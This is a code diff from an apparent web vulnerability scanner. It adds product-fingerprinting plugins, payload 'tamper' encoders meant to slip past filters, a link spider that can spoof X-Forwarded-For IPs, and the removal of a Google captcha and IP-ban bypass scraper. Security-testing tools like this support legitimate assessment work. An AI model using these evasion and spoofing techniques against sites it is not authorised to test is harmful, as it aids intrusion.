+++ b/lib/plugins/b2evolution.py
@ -0,0 +1,21 @@
+import re
+
+
+__product__ = "b2evolution"
+__description__ = (
+    "b2evolution is a powerful blog tool you can install on your own website"
+)
+
+
+def search(html, **kwargs):
+    html = str(html)
+    plugin_detection_schema = (
+        re.compile(r"b2evolution", re.I),
+        re.compile(r"powered.by.b\devolution", re.I),
+        re.compile(r"powered.by.b\devolution.\d{3}\w+.gif", re.I),
+        re.compile(r"http(s)?.//(www.)?b2evolution.net", re.I),
+        re.compile(r"visit.b2evolution.s.website", re.I)
+    )
+    for plugin in plugin_detection_schema:
+        if plugin.search(html) is not None:
+            return True
--- a/lib/plugins/bmcremedy.py
+++ b/lib/plugins/bmcremedy.py
@ -0,0 +1,16 @@
+import re
+
+
+__product__ = "BMC Remedy"
+__description__ = (
+    "BMC Remedy is an IT management ticketing system designed by BMC Software"
+)
+
+
+def search(html, **kwargs):
+    html = str(html)
+    plugin_detection_schema = (
+        re.compile(r"<.+>bmc.\w+.remedy.\w+.mid.\w+.tier.\w+.\d+.\d+...login<.+.>", re.I),
+        re.compile(r".bmc.remedy.action.request.system.", re.I),
+        re.compile(r"class.[\'\"]?caption[\'\"]?.\W{1,3}\w+..[0-9]{4}.bmc.software[,]?.inc[orporated]?.", re.I)
+    )
--- a/lib/plugins/bomgar.py
+++ b/lib/plugins/bomgar.py
@ -0,0 +1,27 @@
+import re
+
+import lib.core.common
+
+
+__product__ = "Bomgar"
+__description__ = (
+    "Bomgar simplifies support by letting technicians control "
+    "remote computers, servers, smartphones and network devices "
+    "over the internet or network. With Bomgar, a support rep can "
+    "see what customers see or control their computers for support"
+)
+
+
+def search(html, **kwargs):
+    html = str(html)
+    headers = kwargs.get("headers", None)
+    plugin_detection_schema = (
+        re.compile(".bomgar.", re.I),
+        re.compile(r"http(s)?.//(www.)?bomgar.com", re.I),
+        re.compile(r"alt.[\'\"]?remote.support.by.bomgar[\'\"]?", re.I)
+    )
+    for plugin in plugin_detection_schema:
+        if plugin.search(headers.get(lib.core.common.HTTP_HEADER.SERVER, "")) is not None:
+            return True
+        if plugin.search(html) is not None:
+            return True
--- a/lib/plugins/clipbucket.py
+++ b/lib/plugins/clipbucket.py
@ -0,0 +1,21 @@
+import re
+
+
+__product__ = "ClipBucket"
+__description__ = (
+    "ClipBucket is an Open Source and freely downloadable PHP "
+    "script that will let you start your own Video Sharing website"
+)
+
+
+def search(html, **kwargs):
+    html = str(html)
+    plugin_detection_schema = (
+        re.compile(r"<.\S+.clipbucket", re.I),
+        re.compile(r"content.[\'\"]clipbucket", re.I),
+        re.compile(r"http(s)?.//(www.)?clip.bucket.com", re.I),
+        re.compile(r"http(s)?.//(www.)?clipbucket.com", re.I),
+    )
+    for plugin in plugin_detection_schema:
+        if plugin.search(html) is not None:
+            return True
--- a/lib/plugins/googleapi.py
+++ b/lib/plugins/googleapi.py
@ -0,0 +1,20 @@
+import re
+
+
+__product__ = "Google API"
+__description__ = (
+    "Google APIs is a set of application programming interfaces (APIs) developed by Google "
+    "which allow communication with Google Services and their integration to other services"
+)
+
+
+def search(html, **kwargs):
+    html = str(html)
+    plugin_detection_schema = (
+        re.compile(r"src.[\'\"]?http(s)?.//googleapis.com", re.I),
+        re.compile(r"src.[\'\"]?http(s)?.//ajax.googleapis.com", re.I),
+        re.compile(r".googleapis.", re.I)
+    )
+    for plugin in plugin_detection_schema:
+        if plugin.search(html) is not None:
+            return True
--- a/lib/plugins/html5.py
+++ b/lib/plugins/html5.py
@ -0,0 +1,20 @@
+import re
+
+
+__product__ = "HTML5"
+__description__ = (
+    "HTML5 is a markup language used for structuring and presenting "
+    "content on the World Wide Web. It is the fifth and current major "
+    "version of the HTML standard."
+)
+
+
+def search(html, **kwargs):
+    html = str(html)
+    plugin_detection_schema = (
+        re.compile(r".html5.", re.I),
+        re.compile(r"\bhtml\d+", re.I)
+    )
+    for plugin in plugin_detection_schema:
+        if plugin.search(html) is not None:
+            return True
--- a/lib/plugins/ihtml.py
+++ b/lib/plugins/ihtml.py
@ -0,0 +1,25 @@
+import re
+
+import lib.core.common
+
+
+__product__ = "iHTML"
+__description__ = (
+    "iHTML is a server side internet/web programming and scripting "
+    "language in used by thousands of sites worldwide to deliver "
+    "cost effective dynamic database driven web sites"
+)
+
+
+def search(html, **kwargs):
+    html = str(html)
+    headers = kwargs.get("headers", None)
+    plugin_detection_schema = (
+        re.compile(r".ihtml.", re.I),
+        re.compile(r"\bihtml.", re.I)
+    )
+    for plugin in plugin_detection_schema:
+        if plugin.search(html) is not None:
+            return True
+        if plugin.search(headers.get(lib.core.common.HTTP_HEADER.X_POWERED_BY, "")) is not None:
+            return True
--- a/lib/plugins/jquery.py
+++ b/lib/plugins/jquery.py
@ -0,0 +1,20 @@
+import re
+
+
+__product__ = "JQuery"
+__description__ = (
+    "A fast, concise, JavaScript that simplifies how to traverse "
+    "HTML documents, handle events, perform animations, and add AJAX"
+)
+
+
+def search(html, **kwargs):
+    html = str(html)
+    plugin_detection_schema = (
+        re.compile(r"src.[\'\"]?http(s)?.//ajax.googleapis.com.ajax.libs.jquery.\d.\d.\d", re.I),
+        re.compile(r".jquery.", re.I),
+        re.compile(r"jquery.min.js", re.I)
+    )
+    for plugin in plugin_detection_schema:
+        if plugin.search(html) is not None:
+            return True
--- a/lib/plugins/moodle.py
+++ b/lib/plugins/moodle.py
@ -0,0 +1,19 @@
+import re
+
+
+__product__ = "Moodle"
+__description__ = (
+    "Moodle is an opensource educational software written in PHP"
+)
+
+
+def search(html, **kwargs):
+    html = str(html)
+    plugin_detection_schema = (
+        re.compile(r".moodle.", re.I),
+        re.compile(r".moodlesession.", re.I),
+        re.compile(r".php.moodlesession.(\w+)?(\d+)?", re.I)
+    )
+    for plugin in plugin_detection_schema:
+        if plugin.search(html) is not None:
+            return True
--- a/lib/plugins/mssqlreportmanager.py
+++ b/lib/plugins/mssqlreportmanager.py
@ -0,0 +1,18 @@
+import re
+
+
+__product__ = "Microsoft SQL Report Manager"
+__description__ = (
+    "Microsoft SQL Server Report Manager - web-based report access and management tool"
+)
+
+
+def search(html, **kwargs):
+    html = str(html)
+    plugin_detection_schema = (
+        re.compile(r"content.[\'\"]?microsoft.sql.server.report", re.I),
+        re.compile(r"microsoft.sql.server.report.manager", re.I)
+    )
+    for plugin in plugin_detection_schema:
+        if plugin.search(html) is not None:
+            return True
--- a/lib/plugins/opengraph.py
+++ b/lib/plugins/opengraph.py
@ -0,0 +1,25 @@
+import re
+
+
+__product__ = "Open-Graph-Protocol"
+__description__ = (
+    "The Open Graph protocol enables you to integrate "
+    "your Web pages into the social graph. It is currently "
+    "designed for Web pages representing profiles of real-world "
+    "things. Things like movies, sports teams, celebrities, "
+    "and restaurants. Including Open Graph tags on your Web page, "
+    "makes your page equivalent to a Facebook Page"
+)
+
+
+def search(html, **kwargs):
+    html = str(html)
+    plugin_detection_schema = (
+        re.compile(r".og.title.", re.I),
+        re.compile(".fb.admins.", re.I),
+        re.compile(r".og.type.", re.I),
+        re.compile(r".fb.app.id.", re.I)
+    )
+    for plugin in plugin_detection_schema:
+        if plugin.search(html) is not None:
+            return True
--- a/lib/plugins/openxchange.py
+++ b/lib/plugins/openxchange.py
@ -0,0 +1,24 @@
+import re
+
+import lib.core.common
+
+
+__product__ = "Open-Xchange-Server"
+__description__ = (
+    "Open Xchange Mail Server"
+)
+
+
+def search(html, **kwargs):
+    html = str(html)
+    headers = kwargs.get("headers", None)
+    plugin_detection_schema = (
+        re.compile(r"open.xchange.server", re.I),
+        re.compile(r"javascript.to.access.the.open.xchange.server", re.I),
+        re.compile(r"/^http(s)?://(www.)?[^\/]+\/ox6\/ox\.html$/", re.I)
+    )
+    for plugin in plugin_detection_schema:
+        if plugin.search(html) is not None:
+            return True
+        if plugin.search(headers.get(lib.core.common.HTTP_HEADER.LOCATION, "")) is not None:
+            return True
--- a/lib/plugins/rssfeed.py
+++ b/lib/plugins/rssfeed.py
@ -0,0 +1,20 @@
+import re
+
+
+__product__ = "RSS Feed"
+__description__ = (
+    "RSS (Rich Site Summary) is a type of web feed which allows "
+    "users to access updates to online content in a standardized, "
+    "computer-readable format"
+)
+
+
+def search(html, **kwargs):
+    html = str(html)
+    plugin_detection_schema = (
+        re.compile(r"type.[\'\"]?application/rss.xml[\'\"]?", re.I),
+        re.compile(r"title.[\'\"]?rss.feed[\'\"]?", re.I)
+    )
+    for plugin in plugin_detection_schema:
+        if plugin.search(html) is not None:
+            return True
--- a/lib/tamper_scripts/base64_encode.py
+++ b/lib/tamper_scripts/base64_encode.py
@ -6,10 +6,11 @@ from lib.core.settings import (
 )


-def tamper(payload, warning=True, **kwargs):
+def tamper(payload, **kwargs):
+    warning = kwargs.get("warning", True)
    if warning:
        logger.warning(set_color(
            "base64 tamper scripts may increase the possibility of not finding vulnerabilities "
-            "in otherwise vulnerable sites...", level=30
+            "in otherwise vulnerable sites", level=30
        ))
    return base64.b64encode(payload)
--- a/lib/tamper_scripts/enclosebrackets_encode.py
+++ b/lib/tamper_scripts/enclosebrackets_encode.py
@ -6,11 +6,13 @@ from lib.core.settings import (
 )


-def tamper(payload, warning=True, **kwargs):
+def tamper(payload, **kwargs):
+    warning = kwargs.get("warning", True)
+
    if warning:
        logger.warning(set_color(
            "enclosing brackets is meant to be used as an obfuscation "
-            "against an already valid vulnerable site...", level=30
+            "against an already valid vulnerable site", level=30
        ))

    to_enclose = string.digits
--- a/lib/tamper_scripts/hex_encode.py
+++ b/lib/tamper_scripts/hex_encode.py
@ -4,10 +4,11 @@ from lib.core.settings import (
 )


-def tamper(payload, warning=True, **kwargs):
+def tamper(payload, **kwargs):
+    warning = kwargs.get("warning", True)
    if warning:
        logger.warning(set_color(
-            "hex tamper scripts may increase the risk of false positives...", level=30
+            "hex tamper scripts may increase the risk of false positives", level=30
        ))
    retval = hex(hash(payload))
    if "-" in str(retval):
--- a/lib/tamper_scripts/multispace2comment_encode.py
+++ b/lib/tamper_scripts/multispace2comment_encode.py
@ -0,0 +1,13 @@
+import random
+
+
+def tamper(payload, **kwargs):
+    possible_spaces = [2, 3, 4]
+    retval = ""
+    encoder = "/**/"
+    for char in retval:
+        if char == " ":
+            retval += encoder * random.choice(possible_spaces)
+        else:
+            retval += char
+    return retval
--- a/lib/tamper_scripts/obfuscateentity_encode.py
+++ b/lib/tamper_scripts/obfuscateentity_encode.py
@ -0,0 +1,29 @@
+from lib.core.settings import (
+    logger,
+    set_color
+)
+
+
+def tamper(payload, **kwargs):
+    warning = kwargs.get("warning", True)
+
+    if warning:
+        logger.warning(set_color(
+            "obfuscating payloads by their entity encoding equivalent may increase the "
+            "risk of false positives", level=30
+        ))
+
+    skip = ";"
+    encoding_schema = {
+        " ": "&nbsp;", "<": "&lt;", ">": "&gt;",
+        "&": "&amp;", '"': "&quot;", "'": "&apos;",
+    }
+    retval = ""
+    for char in str(payload):
+        if char in encoding_schema.iterkeys():
+            retval += encoding_schema[char]
+        elif char not in encoding_schema.iterkeys() and char != skip:
+            retval += char
+        else:
+            retval += char
+    return retval
--- a/lib/tamper_scripts/obfuscateordinal_encode.py
+++ b/lib/tamper_scripts/obfuscateordinal_encode.py
@ -4,11 +4,13 @@ from lib.core.settings import (
 )


-def tamper(payload, warning=True, **kwargs):
+def tamper(payload, **kwargs):
+    warning = kwargs.get("warning", True)
+
    if warning:
        logger.warning(set_color(
            "obfuscating the payloads by ordinal equivalents may increase the risk "
-            "of false positives...", level=30
+            "of false positives", level=30
        ))

    retval = ""
--- a/lib/tamper_scripts/space2null_encode.py
+++ b/lib/tamper_scripts/space2null_encode.py
@ -1,4 +1,17 @@
+from lib.core.settings import (
+    logger,
+    set_color
+)
+
+
 def tamper(payload, **kwargs):
+    warning = kwargs.get("warning", True)
+    if warning:
+        logger.warning(set_color(
+            "NULL encoding tamper scripts may increase the possibility of not finding vulnerabilities "
+            "in otherwise vulnerable sites", level=30
+        ))
+
    retval = ""
    encoder = "%00"
    for char in payload:
--- a/lib/tamper_scripts/url_encode.py
+++ b/lib/tamper_scripts/url_encode.py
@ -3,10 +3,10 @@

 def tamper(payload, safe="%&=-_", **kwargs):
    encodings = {
-        " ": "%20", "!": "%21", '"': "%22", "#": "%23", "$": "%24", "%": "%25", "&": "%26", "'": "%27",
-        "(": "%28", ")": "%29", "*": "%2A", "+": "%2B", ",": "%2C", "-": "%2D", ".": "%2E", "/": "%2F",
+        " ": "%20", "!": "%21", '"': "%22", "#": "%23", "$": "%24", "%": "%25", "'": "%27",
+        "(": "%28", ")": "%29", "*": "%2A", "+": "%2B", ",": "%2C", ".": "%2E", "/": "%2F",
        "0": "%30", "1": "%31", "2": "%32", "3": "%33", "4": "%34", "5": "%35", "6": "%36", "7": "%37",
-        "8": "%38", "9": "%39", ":": "%3A", ";": "%3B", "<": "%3C", "=": "%3D", ">": "%3E", "?": "%3F",
+        "8": "%38", "9": "%39", ":": "%3A", ";": "%3B", "<": "%3C",  ">": "%3E", "?": "%3F",
        "@": "%40", "A": "%41", "B": "%42", "C": "%43", "D": "%44", "E": "%45", "F": "%46", "G": "%47",
        "H": "%48", "I": "%49", "J": "%4A", "K": "%4B", "L": "%4C", "M": "%4D", "N": "%4E", "O": "%4F",
        "P": "%50", "Q": "%51", "R": "%52", "S": "%53", "T": "%54", "U": "%55", "V": "%56", "W": "%57",
--- a/requirements.txt
+++ b/requirements.txt
@ -4,6 +4,5 @@ python-nmap==0.6.1
 whichcraft==0.4.1
 pyvirtualdisplay==0.2.1
 lxml==3.7.3
-google-api-python-client==1.6.4
-httplib2==0.10.3
-psutil==5.0.1
+psutil==5.0.1
+beautifulsoup4==4.6.0
--- a/var/auto_issue/github.py
+++ b/var/auto_issue/github.py
@ -1,4 +1,4 @@
-import os
+import re
 import sys
 try:
    import urllib2  # python 2
@ -7,52 +7,60 @@ except ImportError:
 import json
 import platform

-from base64 import b64decode
+import requests
+from bs4 import BeautifulSoup

+import lib.core.common
 import lib.core.settings


-def __get_encoded_string(filename="{}/etc/auths/git_auth"):
-    with open(filename.format(os.getcwd())) as data:
-        return data.read()
-
-
-def get_decode_num(data):
-    return data.split(":")[-1]
-
-
-def decode(n, token):
-    token = token.split(":")[0]
-    for _ in range(int(n)):
-        token = b64decode(token)
-    return token
+def find_url(params, search="https://github.com/ekultek/zeus-scanner/issues"):
+    """
+    get the URL that your issue is created at
+    """
+    retval = "https://github.com{}"
+    href = None
+    searcher = re.compile(params, re.I)
+    req = requests.get(search)
+    status, html = req.status_code, req.content
+    if status == 200:
+        split_information = str(html).split("\n")
+        for i, line in enumerate(split_information):
+            if searcher.search(line) is not None:
+                href = split_information[i-1]
+    if href is not None:
+        soup = BeautifulSoup(href, "html.parser")
+        for item in soup.findAll("a"):
+            link = item.get("href")
+            return retval.format(link)
+    return None


 def request_issue_creation():
    if not lib.core.settings.get_md5sum():
        lib.core.settings.logger.fatal(lib.core.settings.set_color(
            "it appears that your checksums did not match, therefore it is assumed "
-            "that you have edited some of the code, issue request denied...", level=50
+            "that you have edited some of the code, issue request denied", level=50
        ))
-        lib.core.settings.shutdown()
+        lib.core.common.shutdown()

-    question = lib.core.settings.prompt(
+    question = lib.core.common.prompt(
        "would you like to create an anonymous issue and post it to Zeus's Github", opts="yN"
    )
    if question.lower().startswith("n"):
        lib.core.settings.logger.error(lib.core.settings.set_color(
-            "Zeus has experienced an internal error and cannot continue, shutting down...", level=40
+            "Zeus has experienced an internal error and cannot continue, shutting down", level=40
        ))
-        lib.core.settings.shutdown()
+        lib.core.common.shutdown()

    lib.core.settings.fix_log_file()
    lib.core.settings.logger.info(lib.core.settings.set_color(
-        "Zeus got an unexpected error and will automatically create an issue for this error, please wait..."
+        "Zeus got an unexpected error and will automatically create an issue for this error, please wait"
    ))

    def __extract_stacktrace(file_data):
        lib.core.settings.logger.info(lib.core.settings.set_color(
-            "extracting traceback from log file..."
+            "extracting traceback from log file"
        ))
        retval, buff_mode, _buffer = [], False, ""
        with open(file_data, "r+") as log:
@ -65,30 +73,29 @@ def request_issue_creation():
                    _buffer = ""
                if buff_mode:
                    if len(line) > 400:
-                        line = line[:400] + "...\n"
+                        line = line[:400] + "\n"
                    _buffer += line
        return "".join(retval)

    lib.core.settings.logger.info(lib.core.settings.set_color(
-        "getting authorization..."
+        "getting authorization"
    ))

-    encoded = __get_encoded_string()
-    n = get_decode_num(encoded)
-    token = decode(n, encoded)
+    token = lib.core.settings.get_token(lib.core.settings.GITHUB_AUTH_PATH)

    current_log_file = lib.core.settings.get_latest_log_file(lib.core.settings.CURRENT_LOG_FILE_PATH)
    stacktrace = __extract_stacktrace(current_log_file)
-    identifier = lib.core.settings.create_identifier()
-    issue_title = "{} ({})".format(stacktrace.split("\n")[-2], identifier)
+    identifier = lib.core.settings.create_identifier(stacktrace)
+    issue_title = "Unhandled exception ({})".format(identifier)
    ff_version = lib.core.settings.get_browser_version()
+    log_file_information = lib.core.settings.tails(current_log_file)

    issue_data = {
        "title": issue_title,
        "body": "Zeus version:\n`{}`\n\n"
                "Firefox version:\n`{}`\n\n"
                "Geckodriver version:\n`{}`\n\n"
-                "Error info:\n```{}````\n\n"
+                "Error info:\n```{}```\n\n"
                "Running details:\n`{}`\n\n"
                "Commands used:\n`{}`\n\n"
                "Log file info:\n```{}```".format(
@ -98,12 +105,12 @@ def request_issue_creation():
                     str(stacktrace),
                     str(platform.platform()),
                     " ".join(sys.argv),
-                     open(current_log_file).read()
+                     log_file_information
                ),
    }

    _json_data = json.dumps(issue_data)
-    if sys.version_info > (3,):
+    if sys.version_info > (3,):  # python 3
        _json_data = _json_data.encode("utf-8")

    try:
@ -114,10 +121,12 @@ def request_issue_creation():
        urllib2.urlopen(req, timeout=10).read()
        lib.core.settings.logger.info(lib.core.settings.set_color(
            "issue has been created successfully with the following name '{}', your unique identifier "
-            "for this issue is '{}'...".format(issue_title, identifier)
+            "for this issue is '{}' and the URL to your issue is '{}'".format(
+                issue_title, identifier, find_url(identifier)
+            )
        ))
    except Exception as e:
        lib.core.settings.logger.exception(lib.core.settings.set_color(
            "failed to auto create the issue, got exception '{}', "
-            "you may manually create an issue...".format(e), level=50
+            "you may manually create an issue".format(e), level=50
        ))
--- a/var/blackwidow/init.py
+++ b/var/blackwidow/init.py
@ -1,9 +1,11 @@
 import os

-import requests
+from bs4 import BeautifulSoup

 import lib.core.errors
+import lib.core.common
 import lib.core.settings
+import var.auto_issue.github


 class Blackwidow(object):
@ -12,20 +14,21 @@ class Blackwidow(object):
    spider to scrape a webpage for all available URL's
    """

-    def __init__(self, url, user_agent=None, proxy=None):
+    def __init__(self, url, user_agent=None, proxy=None, forward=None):
        self.url = url
-        self.proxy = proxy or None
+        self.forward = forward or None
+        self.proxy = proxy
        self.user_agent = user_agent or lib.core.settings.DEFAULT_USER_AGENT

    @staticmethod
    def get_url_ext(url):
        """
-        get the extenstion of the URL
+        get the extension of the URL
        """
        try:
            data = url.split(".")
            return data[-1] in lib.core.settings.SPIDER_EXT_EXCLUDE
-        except Exception:
+        except (IndexError, Exception):
            pass

    def test_connection(self):
@ -33,55 +36,127 @@ class Blackwidow(object):
        make sure the connection is good before you continue
        """
        try:
-            attempt = requests.get(self.url, params={"user-agent": self.user_agent}, proxies=self.proxy)
-            if attempt.status_code == 200:
-                return "ok"
-            raise lib.core.errors.SpiderTestFailure(
-                "failed to connect to '{}', received status code: {}".format(
-                    self.url, attempt.status_code
-                )
+            # we'll skip SSL verification to avoid any SSLErrors that might
+            # arise, we won't really need it with this anyways
+            attempt, status, _, _ = lib.core.common.get_page(
+                self.url, agent=self.user_agent, xforward=self.forward, skip_verf=True,
+                proxy=self.proxy
            )
+            if status == 200:
+                return "ok", None
+            return "fail", attempt.status_code
        except Exception as e:
-            lib.core.settings.logger.exception(lib.core.settings.set_color(
-                "failed to connect to '{}' received error '{}'...".format(
-                    self.url, e
-                )
-            ))
+            if "Max retries exceeded with url" in str(e):
+                info_msg = ""
+                if "https://" in self.url:
+                    info_msg += ", try dropping https:// to http://"
+                else:
+                    info_msg += ""
+                lib.core.settings.logger.fatal(lib.core.settings.set_color(
+                    "provided website '{}' is refusing connection{}".format(
+                        self.url, info_msg
+                    ), level=50
+                ))
+                lib.core.common.shutdown()
+            else:
+                lib.core.settings.logger.exception(lib.core.settings.set_color(
+                    "failed to connect to '{}' received error '{}'".format(
+                        self.url, e
+                    ), level=50
+                ))
+                var.auto_issue.github.request_issue_creation()
+                lib.core.common.shutdown()

-    def scrape_page_for_links(self, given_url):
+    def scrape_page_for_links(self, given_url, attribute="a", descriptor="href"):
        """
        scrape the webpage's HTML for usable GET links
        """
        unique_links = set()
-        while True:
-            req = requests.get(given_url, params={"user-agent": self.user_agent}, proxies=self.proxy)
-            html_page = req.content
-            found_links = lib.core.settings.URL_REGEX.findall(html_page)
-            for link in list(found_links):
-                if lib.core.settings.URL_QUERY_REGEX.match(link[0]) and not Blackwidow.get_url_ext(link[0]):
-                    unique_links.add(link)
-            break
+        true_url = lib.core.settings.replace_http(given_url)
+        _, status, html_page, _ = lib.core.common.get_page(
+            given_url, agent=self.user_agent, proxy=self.proxy
+        )
+        soup = BeautifulSoup(html_page, "html.parser")
+        for link in soup.findAll(attribute):
+            found_redirect = str(link.get(descriptor)).decode("unicode_escape")
+            if found_redirect is not None and lib.core.settings.URL_REGEX.match(found_redirect):
+                unique_links.add(found_redirect)
+            else:
+                unique_links.add("http://{}/{}".format(true_url, found_redirect))
        return list(unique_links)


-def blackwidow_main(url, proxy=None, agent=None, verbose=False):
+def blackwidow_main(url, **kwargs):
    """
    scrape a given URL for all available links
    """
+    verbose = kwargs.get("verbose", False)
+    proxy = kwargs.get("proxy", None)
+    agent = kwargs.get("agent", None)
+    forward = kwargs.get("forward", None)
+
+    if forward is not None:
+        forward = (
+            lib.core.settings.create_random_ip(),
+            lib.core.settings.create_random_ip(),
+            lib.core.settings.create_random_ip()
+        )
+
+    if verbose:
+        lib.core.settings.logger.debug(lib.core.settings.set_color(
+            "settings user-agent to '{}'".format(agent), level=10
+        ))
+    if proxy is not None:
+        if verbose:
+            lib.core.settings.logger.debug(lib.core.settings.set_color(
+                "running behind proxy '{}'".format(proxy), level=10
+            ))
    lib.core.settings.create_dir("{}/{}".format(os.getcwd(), "log/blackwidow-log"))
    lib.core.settings.logger.info(lib.core.settings.set_color(
-        "starting blackwidow on '{}'...".format(url)
+        "starting blackwidow on '{}'".format(url)
    ))
-    crawler = Blackwidow(url, user_agent=agent, proxy=proxy)
+    crawler = Blackwidow(url, user_agent=agent, proxy=proxy, forward=forward)
    if verbose:
        lib.core.settings.logger.debug(lib.core.settings.set_color(
-            "testing connection to the URL...", level=10
+            "testing connection to the URL", level=10
        ))
-    crawler.test_connection()
-    if verbose:
-        lib.core.settings.logger.debug(lib.core.settings.set_color(
-            "connection satisfied, continuing process...", level=10
+    test_code = crawler.test_connection()
+    if not test_code[0] == "ok":
+        error_msg = (
+            "connection test failed with status code: {}, reason: '{}'. "
+            "test connection needs to pass, try a different link"
+        )
+        for error_code in lib.core.common.STATUS_CODES.keys():
+            if error_code == test_code[1]:
+                lib.core.settings.logger.fatal(lib.core.settings.set_color(
+                    error_msg.format(
+                        test_code[1], lib.core.common.STATUS_CODES[error_code].title()
+                    ), level=50
+                ))
+                lib.core.common.shutdown()
+        lib.core.settings.logger.fatal(lib.core.settings.set_color(
+            error_msg.format(
+                test_code[1], lib.core.common.STATUS_CODES["other"].title()
+            ), level=50
        ))
+        lib.core.common.shutdown()
+    else:
+        lib.core.settings.logger.info(lib.core.settings.set_color(
+            "connection test succeeded, continuing", level=25
+        ))
+    lib.core.settings.logger.info(lib.core.settings.set_color(
+        "crawling given URL '{}' for links".format(url)
+    ))
    found = crawler.scrape_page_for_links(url)
-    to_use = [data[0] for data in found]
-    lib.core.settings.write_to_log_file(to_use, path=lib.core.settings.SPIDER_LOG_PATH, filename="blackwidow-log-{}.log")
+    if len(found) > 0:
+        lib.core.settings.logger.info(lib.core.settings.set_color(
+            "found a total of {} links from given URL '{}'".format(
+                len(found), url
+            ), level=25
+        ))
+        lib.core.common.write_to_log_file(found, path=lib.core.settings.SPIDER_LOG_PATH,
+                                          filename=lib.core.settings.BLACKWIDOW_FILENAME)
+    else:
+        lib.core.settings.logger.fatal(lib.core.settings.set_color(
+            "did not find any usable links from '{}'".format(url), level=50
+        ))
--- a/var/google_search/search.py
+++ b/var/google_search/search.py
@ -1,465 +0,0 @@
-import os
-import re
-import time
-import subprocess
-
-try:
-    from urllib import (
-        unquote,
-    )
-except ImportError:
-    from urllib.parse import (
-        unquote,
-    )
-
-import requests
-import httplib2
-import google as google_api
-from selenium import webdriver
-from pyvirtualdisplay import Display
-from selenium.webdriver.common.keys import Keys
-from selenium.webdriver.common.proxy import *
-from selenium.webdriver.remote.errorhandler import (
-    UnexpectedAlertPresentException,
-    ElementNotInteractableException
-)
-
-from var.auto_issue.github import request_issue_creation
-from lib.core.settings import (
-    logger,
-    set_color,
-    proxy_string_to_dict,
-    DEFAULT_USER_AGENT,
-    URL_QUERY_REGEX,
-    URL_REGEX,
-    shutdown,
-    URL_LOG_PATH,
-    write_to_log_file,
-    get_proxy_type,
-    prompt,
-    EXTRACTED_URL_LOG,
-    URL_EXCLUDES,
-    CLEANUP_TOOL_PATH,
-    FIX_PROGRAM_INSTALL_PATH
-)
-
-try:
-    unicode
-except NameError:
-    unicode = str
-
-
-def strip_leftovers(url, possibles):
-    """
-    strip leftover HTML tags and random garbage data that is sometimes found in the URL's
-    """
-    for p in possibles:
-        if p in url:
-            url = url.split(p)[0]
-    return url
-
-
-def bypass_ip_block(url):
-    """
-    bypass Google's IP blocking by extracting the true URL from the ban URL.
-    """
-    url = unquote(url)
-    constant_splitter = "continue="
-    content_separators = ("Fid", "&gs_")
-    to_use_separator = None
-    retval = None
-    url_data_list = url.split(constant_splitter)
-    for item in url_data_list:
-        for sep in content_separators:
-            if sep in item:
-                to_use_separator = sep
-        retval = item.split(to_use_separator)[0]
-    return unquote(retval)
-
-
-def extract_webcache_url(webcache_url, splitter="+"):
-    """
-    extract the true URL from Google's webcache URL's
-    """
-    webcache_url = unquote(webcache_url)
-    webcache_regex = re.compile(r"cache:(.{,16})?:")
-    data = webcache_regex.split(webcache_url)
-    to_extract = data[2].split(splitter)
-    extracted_to_test = to_extract[0]
-    if URL_REGEX.match(extracted_to_test):
-        return extracted_to_test
-    return None
-
-
-def get_urls(query, url, verbose=False, warning=True, **kwargs):
-    """
-      Bypass Google captchas and Google API by using selenium-webdriver to gather
-      the Google URL. This will open a robot controlled browser window and attempt
-      to get a URL from Google that will be used for scraping afterwards.
-    """
-    proxy, user_agent = kwargs.get("proxy", None), kwargs.get("user_agent", None)
-    if verbose:
-        logger.debug(set_color(
-            "setting up the virtual display to hide the browser...", level=10
-        ))
-    ff_display = Display(visible=0, size=(800, 600))
-    ff_display.start()
-    logger.info(set_color(
-        "firefox browser display will be hidden while it performs the query..."
-    ))
-    if warning:
-        logger.warning(set_color(
-            "your web browser will be automated in order for Zeus to successfully "
-            "bypass captchas and API calls. this is done in order to grab the URL "
-            "from the search and parse the results. please give selenium time to "
-            "finish it's task...", level=30
-        ))
-    if verbose:
-        logger.debug(set_color(
-            "running selenium-webdriver and launching browser...", level=10
-        ))
-
-    if verbose:
-        logger.debug(set_color(
-            "adjusting selenium-webdriver user-agent to '{}'...".format(user_agent), level=10
-        ))
-    if proxy is not None:
-        proxy_type = proxy.keys()
-        proxy_to_use = Proxy({
-            "proxyType": ProxyType.MANUAL,
-            "httpProxy": proxy[proxy_type[0]],
-            "ftpProxy": proxy[proxy_type[0]],
-            "sslProxy": proxy[proxy_type[0]],
-            "noProxy": ""
-        })
-        if verbose:
-            logger.debug(set_color(
-                "setting selenium proxy to '{}'...".format(
-                    ''.join(proxy_type) + "://" + ''.join(proxy.values())
-                ), level=10
-            ))
-    else:
-        proxy_to_use = None
-
-    profile = webdriver.FirefoxProfile()
-    profile.set_preference("general.useragent.override", user_agent)
-    browser = webdriver.Firefox(profile, proxy=proxy_to_use)
-    logger.info(set_color("browser will open shortly..."))
-    browser.get(url)
-    if verbose:
-        logger.debug(set_color(
-            "searching search engine for the 'q' element (search button)...", level=10
-        ))
-    search = browser.find_element_by_name('q')
-    logger.info(set_color(
-        "searching '{}' using query '{}'...".format(url, query)
-    ))
-    try:
-        search.send_keys(query)
-        search.send_keys(Keys.RETURN)  # hit return after you enter search text
-        time.sleep(3)
-    except ElementNotInteractableException:
-        browser.execute_script("document.querySelectorAll('label.boxed')[1].click()")
-        search.send_keys(query)
-        search.send_keys(Keys.RETURN)  # hit return after you enter search text
-        time.sleep(3)
-    if verbose:
-        logger.debug(set_color(
-            "obtaining URL from selenium..."
-        ))
-    try:
-        retval = browser.current_url
-    except UnexpectedAlertPresentException:
-        logger.warning(set_color(
-            "alert present, closing...", level=30
-        ))
-        alert = browser.switch_to.alert
-        alert.accept()
-        retval = browser.current_url
-    ban_url_schema = ["http://ipv6.google.com", "http://ipv4.google.com"]
-    if any(u in retval for u in ban_url_schema):  # if you got IP banned
-        logger.warning(set_color(
-            "it appears that Google is attempting to block your IP address, attempting bypass...", level=30
-        ))
-        try:
-            retval = bypass_ip_block(retval)
-            do_continue = prompt(
-                "zeus was able to successfully extract the URL from Google's ban URL "
-                "it is advised to shutdown zeus and attempt to extract the URL's manually. "
-                "failing to do so will most likely result in no results being found by zeus. "
-                "would you like to shutdown", opts="yN"
-            )
-            if not str(do_continue).lower().startswith("n"):  # shutdown and write the URL to a file
-                write_to_log_file(retval, EXTRACTED_URL_LOG, "extracted-url-{}.log")
-                logger.info(set_color(
-                    "it is advised to extract the URL's from the produced URL written to the above "
-                    "(IE open the log, copy the url into firefox)...".format(retval)
